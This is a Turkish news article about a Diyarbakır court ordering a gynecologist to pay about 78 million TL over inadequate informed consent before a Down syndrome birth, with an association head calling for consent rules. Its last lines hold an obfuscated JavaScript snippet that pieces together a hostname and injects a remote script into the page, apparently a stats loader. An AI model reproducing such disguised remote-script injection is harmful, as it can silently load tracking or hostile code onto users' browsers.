Gündem

Down Sendromu Davasında Rekor Tazminat: Doktora 78 Milyon TL'lik Ceza

Diyarbakır’da görülen bir tıbbi malpraktis davası, sağlık camiasında geniş yankı uyandırdı.

Abone Ol

Down sendromlu doğan bir bebekle ilgili açılan davada kadın hastalıkları ve doğum uzmanı, milyonlarca liralık tazminatla karşı karşıya kaldı.

Aile dava açtı, iddialar mahkemeye taşındı

Olay, Diyarbakır’da 2021 yılında dünyaya gelen bir bebekle ilgili yaşandı. Bebeğin down sendromlu doğmasının ardından aile, gebelik sürecinde yeterince bilgilendirilmediklerini ileri sürerek kadın hastalıkları ve doğum uzmanına dava açtı.

Aile, tarama testleri ve olası riskler konusunda kendilerine açık ve yeterli bilgi verilmediğini savundu. Doktor ise gebelik sürecinde riskleri anlattığını ve gerekli bilgilendirmeyi yaptığını iddia etti.

Hastaneden epikriz raporu sunuldu

Dava sürecinde hastane yönetimi, annenin tarama testlerini kabul etmediğini belirten, üç farklı tarihe ait epikriz raporunu mahkemeye sundu. Ancak mahkeme bu belgeleri yeterli bulmadı.

Kararda, epikriz raporlarının aydınlatılmış onam formu yerine geçemeyeceği açıkça vurgulandı.

İtiraz reddedildi, dosya icraya gitti

Mahkemenin kararına itiraz edilmesine rağmen süreç doktor aleyhine sonuçlandı. İlk aşamada 44 milyon TL tazminata hükmedildi. Faizlerin eklenmesiyle birlikte toplam tutar yaklaşık 78 milyon TL’ye ulaştı.

Doktorun icra işlemlerini durdurabilmesi için dahi bankaya 3 milyon TL teminat yatırması gerektiği belirtildi.

En çok dava açılan branşlardan biri

Kadın hastalıkları ve doğum branşı, malpraktis davalarıyla en sık karşılaşan alanların başında geliyor. Teşhis, aydınlatma, onam ve tedavi sürecine ilişkin davaların sayısındaki artış, hekimlerin bu branşı tercih etme oranını da düşürüyor.

“Yazılı onamla ilgili net bir düzenleme yok”

Konuya ilişkin değerlendirmede bulunan Türk Jinekoloji ve Obstetrik Derneği Başkanı İsmail Mete İtil, NTV’ye yaptığı açıklamada mevzuattaki boşluğa dikkat çekti.

İtil, yazılı onam alınmasına ilişkin açık bir yönetmelik bulunmadığını belirterek,
“Yalnızca sözel onamın yeterli olduğu yönünde bir bakanlık bildirisi de yok. Hatta poliklinik defterine düşülen notun bile yeterli sayılabildiği durumlar var” ifadelerini kullandı.

Düzenleme çağrısı

Prof. Dr. İtil, bu tür davaların zamanla bir sömürü alanına dönüştüğünü savunarak, hem hekimlerin hem de hastaların güvenliği için açık ve bağlayıcı düzenlemelerin yapılması gerektiğini vurguladı.

Ortaya çıkan karar, sağlık hukukunda onam süreçlerinin ne kadar kritik hale geldiğini bir kez daha gözler önüne serdi.

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }